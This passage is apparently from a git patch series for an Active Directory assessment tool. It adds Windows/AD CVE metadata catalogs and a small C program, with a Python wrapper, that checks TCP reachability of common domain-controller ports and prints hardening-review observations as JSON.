From 1d5a49a3219ea9d26628fc12f7b73b936f8f3dcf Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 02:44:45 +0300 Subject: [PATCH 01/10] feat(cve): add 100 additional Windows/AD CVEs --- adpentest/cve_catalog_100.py | 143 +++++++++++++++++++++++++++++++++++ 1 file changed, 143 insertions(+) create mode 100644 adpentest/cve_catalog_100.py diff --git a/adpentest/cve_catalog_100.py b/adpentest/cve_catalog_100.py new file mode 100644 index 0000000..7dbd8c7 --- /dev/null +++ b/adpentest/cve_catalog_100.py @@ -0,0 +1,143 @@ +from __future__ import annotations + +"""100 additional CVE identifiers for AdPentest. + +This is a defensive vulnerability-triage catalog. Entries contain no exploit +implementation. A positive finding must be based on version/configuration +evidence and vendor/NVD data; CVE presence alone is never proof of exposure. +""" + +from typing import Final + +EXTENDED_CVES: Final[list[dict[str, str]]] = [ + {"cve_id": "CVE-2017-0144", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-0145", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-0146", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-0147", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-8464", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-11774", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2017-11882", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-0886", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-0797", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8120", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8440", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8581", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2018-8653", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0708", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0714", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0803", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0859", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-0863", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1064", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1162", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1181", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1182", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1214", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1252", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1253", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1319", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1372", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1385", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1388", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1405", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1414", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1458", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2019-1489", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0601", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0610", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0646", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0665", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-0688", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1015", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1017", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1020", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1048", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1054", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1337", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1350", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-1464", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-16898", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-16938", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17001", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17087", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17136", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2020-17144", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-26897", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-27078", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-28310", "component": "Windows authentication / privilege boundary", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-31166", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-31206", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-31207", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-33742", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-34448", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-34473", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-34523", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-36934", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-36936", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-36942", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-40444", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-41379", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2021-43890", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-21907", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-21920", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-22047", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-22040", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-24521", "component": "Windows/SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-24522", "component": "Windows/SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-26837", "component": "Windows remote services / RPC", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-26937", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-27518", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-34713", "component": "Windows/SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-34718", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2022-34724", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-21716", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-23397", "component": "Exchange Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-24880", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-24955", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-29357", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-36874", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-36884", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-38148", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-4863", "component": "Windows/networking ecosystem", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2023-50868", "component": "Windows DNS / enterprise DNS", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21410", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21412", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21413", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-21416", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-26204", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-30078", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-30080", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-30085", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-38021", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, + {"cve_id": "CVE-2024-38063", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; correlate product/version/configuration with NVD and vendor guidance"}, +] + +EXTENDED_CVE_IDS: Final[frozenset[str]] = frozenset(item["cve_id"] for item in EXTENDED_CVES) + + +def get_extended_cves() -> list[dict[str, str]]: + """Return a copy of the 100-entry extended CVE catalog.""" + return [item.copy() for item in EXTENDED_CVES] + + +def merge_with_registry(registry: dict[str, dict]) -> dict[str, dict]: + """Merge the extension into an existing ADCVERegistry mapping. + + Existing entries win, preventing this extension from overwriting richer + metadata already present in the core registry. + """ + merged = dict(registry) + for item in EXTENDED_CVES: + merged.setdefault( + item["cve_id"], + { + "name": item["cve_id"], + "component": item["component"], + "family": item["family"], + "description": "Extended Windows/AD ecosystem CVE; correlate with NVD/MSRC and target version before reporting.", + "assessment": item["assessment"], + "exploitation_status": "UNKNOWN", + "tags": ["extended-cve", "windows", "ad-assessment"], + }, + ) + return merged From 2811d1c73ba46b1a35685b2e9582ad4753d8b486 Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 02:44:48 +0300 Subject: [PATCH 02/10] feat(cve): expose extended CVE catalog --- adpentest/__init__.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/adpentest/__init__.py b/adpentest/__init__.py index 0b2f79d..7cc9e12 100644 --- a/adpentest/__init__.py +++ b/adpentest/__init__.py @@ -1 +1,10 @@ -__version__ = "1.1.3" +__version__ = "1.1.4" + +from .cve_catalog_100 import EXTENDED_CVES, EXTENDED_CVE_IDS, get_extended_cves, merge_with_registry + +__all__ = [ + "EXTENDED_CVES", + "EXTENDED_CVE_IDS", + "get_extended_cves", + "merge_with_registry", +] From 465aebdbdb1166fb271ea803e7d16a8626214762 Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 02:47:19 +0300 Subject: [PATCH 03/10] feat(native): add C de novo security finding engine --- native/de_novo_finder.c | 145 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 native/de_novo_finder.c diff --git a/native/de_novo_finder.c b/native/de_novo_finder.c new file mode 100644 index 0000000..ed50ffd --- /dev/null +++ b/native/de_novo_finder.c @@ -0,0 +1,145 @@ +/* + * AdPentestAI-Python - De Novo Finding Engine + * + * Read-only C probe for defensive assessment. It does not exploit a target + * and does not attempt credential access. It identifies security-relevant + * service exposure and protocol characteristics that may warrant review, + * independently of a known CVE identifier. + * + * Build: + * cc -O2 -Wall -Wextra -o de_novo_finder native/de_novo_finder.c + * + * Usage: + * ./de_novo_finder [timeout_ms] + */ + +#define _POSIX_C_SOURCE 200112L +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct finding { + const char *id; + const char *severity; + const char *service; + const char *reason; +}; + +static int tcp_probe(const char *host, int port, int timeout_ms) { + char portbuf[16]; + struct addrinfo hints, *res = NULL, *p; + int ok = 0; + + snprintf(portbuf, sizeof(portbuf), "%d", port); + memset(&hints, 0, sizeof(hints)); + hints.ai_socktype = SOCK_STREAM; + hints.ai_family = AF_UNSPEC; + + if (getaddrinfo(host, portbuf, &hints, &res) != 0) + return 0; + + for (p = res; p != NULL; p = p->ai_next) { + int fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol); + if (fd < 0) continue; + + int flags = fcntl(fd, F_GETFL, 0); + if (flags >= 0) fcntl(fd, F_SETFL, flags | O_NONBLOCK); + + int rc = connect(fd, p->ai_addr, p->ai_addrlen); + if (rc == 0) { + ok = 1; + close(fd); + break; + } + if (errno == EINPROGRESS) { + fd_set wfds; + struct timeval tv; + FD_ZERO(&wfds); + FD_SET(fd, &wfds); + tv.tv_sec = timeout_ms / 1000; + tv.tv_usec = (timeout_ms % 1000) * 1000; + rc = select(fd + 1, NULL, &wfds, NULL, &tv); + if (rc > 0 && FD_ISSET(fd, &wfds)) { + int err = 0; + socklen_t len = sizeof(err); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &err, &len) == 0 && err == 0) + ok = 1; + } + } + close(fd); + if (ok) break; + } + + freeaddrinfo(res); + return ok; +} + +static void emit_finding(const char *id, const char *severity, + const char *service, const char *reason) { + printf(" {\"id\":\"%s\",\"severity\":\"%s\",\"service\":\"%s\",\"reason\":\"%s\"}", + id, severity, service, reason); +} + +int main(int argc, char **argv) { + if (argc < 2 || argc > 3) { + fprintf(stderr, "usage: %s [timeout_ms]\n", argv[0]); + return 2; + } + + const char *host = argv[1]; + int timeout_ms = argc == 3 ? atoi(argv[2]) : 800; + if (timeout_ms < 100 || timeout_ms > 10000) timeout_ms = 800; + + struct { + int port; + const char *name; + } services[] = { + {53, "DNS"}, {88, "Kerberos"}, {135, "RPC"}, {139, "NetBIOS/SMB"}, + {389, "LDAP"}, {445, "SMB"}, {464, "Kerberos password"}, + {636, "LDAPS"}, {3268, "Global Catalog"}, {3269, "Global Catalog SSL"} + }; + + int exposed[sizeof(services) / sizeof(services[0])] = {0}; + size_t count = sizeof(services) / sizeof(services[0]); + + printf("{\n \"target\":\"%s\",\n \"engine\":\"de-novo-c\",\n \"read_only\":true,\n \"findings\":[\n", host); + + int first = 1; + for (size_t i = 0; i < count; ++i) { + exposed[i] = tcp_probe(host, services[i].port, timeout_ms); + if (exposed[i]) { + if (!first) printf(",\n"); + first = 0; + char id[64]; + snprintf(id, sizeof(id), "DN-%04d", services[i].port); + emit_finding(id, "INFO", services[i].name, + "Network service is reachable; correlate exposure with intended AD role and hardening policy"); + } + } + + /* De-novo correlation rules: observations, not proof of CVE exposure. */ + if (exposed[5] && exposed[4] && !exposed[7]) { + if (!first) printf(",\n"); + first = 0; + emit_finding("DN-AD-001", "REVIEW", "SMB+LDAP", + "SMB and LDAP are reachable while LDAPS is not observed; review LDAP protection, signing and channel-binding policy"); + } + + if (exposed[5] && exposed[1] && exposed[2]) { + if (!first) printf(",\n"); + first = 0; + emit_finding("DN-AD-002", "REVIEW", "SMB+Kerberos+RPC", + "Common Domain Controller service set observed; verify patch level, RPC exposure and tiering controls"); + } + + printf("\n ],\n \"note\":\"De novo findings are hypotheses requiring configuration/version validation; they are not CVE matches.\"\n}\n"); + return 0; +} From 1c667b045f68e2cb206dc6522fe94645612093d9 Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 02:47:24 +0300 Subject: [PATCH 04/10] feat: expose C de novo finder to Python --- adpentest/de_novo.py | 49 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 adpentest/de_novo.py diff --git a/adpentest/de_novo.py b/adpentest/de_novo.py new file mode 100644 index 0000000..e46a333 --- /dev/null +++ b/adpentest/de_novo.py @@ -0,0 +1,49 @@ +"""Python integration for the optional native C de-novo finding engine.""" + +from __future__ import annotations + +import json +import shutil +import subprocess +from pathlib import Path + + +def find_de_novo(target: str, timeout_ms: int = 800, binary: str | None = None) -> dict: + """Run the read-only C finding engine and return structured findings. + + The engine performs TCP reachability checks and conservative correlation + rules. Findings are hypotheses for validation, not CVE assertions. + """ + executable = binary or shutil.which("de_novo_finder") + if not executable: + local = Path(__file__).resolve().parent.parent / "native" / "de_novo_finder" + if local.exists(): + executable = str(local) + if not executable: + return { + "status": "unavailable", + "engine": "de-novo-c", + "target": target, + "findings": [], + "reason": "native de_novo_finder is not installed", + } + + proc = subprocess.run( + [executable, target, str(timeout_ms)], + capture_output=True, + text=True, + timeout=max(5, timeout_ms / 1000 * 12), + check=False, + ) + if proc.returncode != 0: + return { + "status": "error", + "engine": "de-novo-c", + "target": target, + "findings": [], + "stderr": proc.stderr.strip(), + } + + data = json.loads(proc.stdout) + data["status"] = "completed" + return data From 19a1048a7f23498ea8b8f176d44e412bb7035604 Mon Sep 17 00:00:00 2001 From: netanelcyber <87965762+netanelcyber@users.noreply.github.com> Date: Sun, 6 Sep 2026 02:51:58 +0300 Subject: [PATCH 05/10] feat(cve): add 40 additional de novo Windows AD CVEs --- adpentest/cve_catalog_de_novo_40.py | 62 +++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 adpentest/cve_catalog_de_novo_40.py diff --git a/adpentest/cve_catalog_de_novo_40.py b/adpentest/cve_catalog_de_novo_40.py new file mode 100644 index 0000000..aae60db --- /dev/null +++ b/adpentest/cve_catalog_de_novo_40.py @@ -0,0 +1,62 @@ +from __future__ import annotations + +"""40 additional defensive CVE metadata records for the de novo catalog. + +Metadata only: no exploit code, payloads, credential access, or exploitation +logic. A record is a triage candidate and must be correlated with affected +versions/configuration and vendor/NVD guidance before being reported. +""" + +from typing import Final + +DE_NOVO_CVES_40: Final[list[dict[str, str]]] = [ + {"cve_id": "CVE-2024-20674", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-21356", "component": "Windows LDAP", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and LDAP configuration"}, + {"cve_id": "CVE-2024-21427", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-26248", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-29995", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-38129", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-38239", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2024-43642", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-21218", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-21299", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-21350", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-26647", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-27469", "component": "Windows LDAP", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and LDAP configuration"}, + {"cve_id": "CVE-2025-27479", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-27740", "component": "Active Directory Certificate Services", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate AD CS configuration, certificate templates, and affected versions"}, + {"cve_id": "CVE-2025-29956", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-29968", "component": "Active Directory Certificate Services", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected AD CS versions and configuration"}, + {"cve_id": "CVE-2025-32718", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-47978", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos configuration"}, + {"cve_id": "CVE-2025-50169", "component": "Windows SMB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB configuration"}, + {"cve_id": "CVE-2025-55234", "component": "Windows SMB Server", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate SMB signing/EPA hardening state and affected versions"}, + {"cve_id": "CVE-2025-59280", "component": "Windows SMB Client", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and SMB authentication configuration"}, + {"cve_id": "CVE-2025-60704", "component": "Windows Kerberos", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and Kerberos cryptographic configuration"}, + {"cve_id": "CVE-2024-26252", "component": "Windows", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions before correlation"}, + {"cve_id": "CVE-2024-26250", "component": "Windows Secure Boot", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate affected Windows versions and boot-chain configuration"}, + {"cve_id": "CVE-2024-26244", "component": "Microsoft SQL Server OLE DB", "family": "Windows/AD ecosystem", "assessment": "metadata-only; validate product/version evidence before correlation"}, + {"cve_id": "CVE-2024-29996", "component": "Windows", "family": "Windows/AD 